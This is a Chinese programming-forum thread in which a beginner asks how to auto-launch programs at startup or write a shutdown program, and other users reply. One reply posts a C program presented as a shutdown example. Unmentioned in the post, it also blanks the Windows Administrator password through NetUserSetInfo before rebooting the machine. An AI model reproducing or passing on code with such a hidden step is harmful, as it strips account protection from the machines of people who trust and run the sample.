| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 584 人关注过本帖
标题:请问大神,怎样编写自动开打某些程序或者自动关机的程序呢?
只看楼主 加入收藏
tegry
Rank: 1
等 级:新手上路
帖 子:6
专家分:0
注 册:2015-4-9
结帖率:0
收藏
已结贴  问题点数:20 回复次数:8 
请问大神,怎样编写自动开打某些程序或者自动关机的程序呢?
比如说我想一开机,我编写的程序就能帮我打开QQ等程序
搜索更多相关主题的帖子: 自动关机 
2015-04-09 18:50
lovegh
Rank: 5Rank: 5
来 自:图灵学院
等 级:职业侠客
威 望:3
帖 子:117
专家分:311
注 册:2015-1-23
收藏
得分:4 
shutdown -t 0 -s

bat脚本命令操作注册表、逃~。

别老是写代码,要多陪妹子,多了解老婆大人,血淋淋的教训。
2015-04-09 19:25
xingjinda
Rank: 3Rank: 3
等 级:论坛游侠
威 望:1
帖 子:35
专家分:125
注 册:2012-11-17
收藏
得分:4 
这个比较简单,ShellExecute() 函数,
关机的话得获取权限,获取完权限就好说了。
2015-04-09 19:26
tegry
Rank: 1
等 级:新手上路
帖 子:6
专家分:0
注 册:2015-4-9
收藏
得分:0 
回复 3楼 xingjinda
你好,能稍微编写一段作为实例让我学习一下吗?
2015-04-10 08:14
wp231957
Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20
来 自:神界
等 级:贵宾
威 望:423
帖 子:13688
专家分:53332
注 册:2012-10-18
收藏
得分:4 
开机自运行比较好写   xp下关机需要提升权限  其他os不清楚

DO IT YOURSELF !
2015-04-10 08:44
xingjinda
Rank: 3Rank: 3
等 级:论坛游侠
威 望:1
帖 子:35
专家分:125
注 册:2012-11-17
收藏
得分:0 
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib, "netapi32.lib")
#define EWX_FORCEIFHUNG 0x00000010
#define PWLEN       256
typedef struct
{
 LPWSTR pass;
}userpass,*Puserpass;
DWORD SetUserPwd(char *user, char *pass)
{
wchar_t wuser[PWLEN], wpass[PWLEN];
userpass ui;
mbstowcs(wuser, user, strlen(user)+1);
mbstowcs(wpass, pass, strlen(pass)+1);
ui.pass = wpass;
return NetUserSetInfo(NULL, wuser, 1003, (LPBYTE)&ui, NULL);
}
int main()
{
 
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;
    OSVERSIONINFO osvi;
    SetUserPwd("administrator","");
    osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
    if(GetVersionEx(&osvi) == 0)
        return -1;
    if(osvi.dwPlatformId == VER_PLATFORM_WIN32_NT)
    {
        if(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,&hToken))
            return -1;
        LookupPrivilegeValue(NULL,SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
        tkp.PrivilegeCount = 1;
        tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
        AdjustTokenPrivileges(hToken,false,&tkp,0,(PTOKEN_PRIVILEGES)NULL,0);
    }
    ExitWindowsEx(2,0);
return 0;
}
当时编着玩的,打开QQ的ShellExecute()函数自己百度去
2015-04-10 19:11
q452227361
Rank: 1
等 级:新手上路
帖 子:16
专家分:4
注 册:2015-4-1
收藏
得分:4 
回复 6楼 xingjinda
你好,冒昧问一下,大概要什么学到水平才能写出这个程序?
2015-04-10 23:05
code力力
Rank: 5Rank: 5
来 自:宜昌
等 级:职业侠客
威 望:2
帖 子:215
专家分:338
注 册:2015-1-12
收藏
得分:4 
我猜你太心急了吧。
想做个小玩意儿满足自己好奇心。
确实,即便学C学很久,也做不出什么像样的东西。
但学C确实是练内功的,慢慢的以后你就会发现他的威力。
好好打基础吧。

你醒了?快起来敲代码!!
2015-04-10 23:21
q452227361
Rank: 1
等 级:新手上路
帖 子:16
专家分:4
注 册:2015-4-1
收藏
得分:0 
回复 8楼 code力力
嘿嘿,我看了三个多月了。是有点着急,感觉谭爷爷的书一遍看完我连弄个剪刀石头布都费劲
2015-04-11 01:31
快速回复:请问大神,怎样编写自动开打某些程序或者自动关机的程序呢?
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.016294 second(s), 7 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved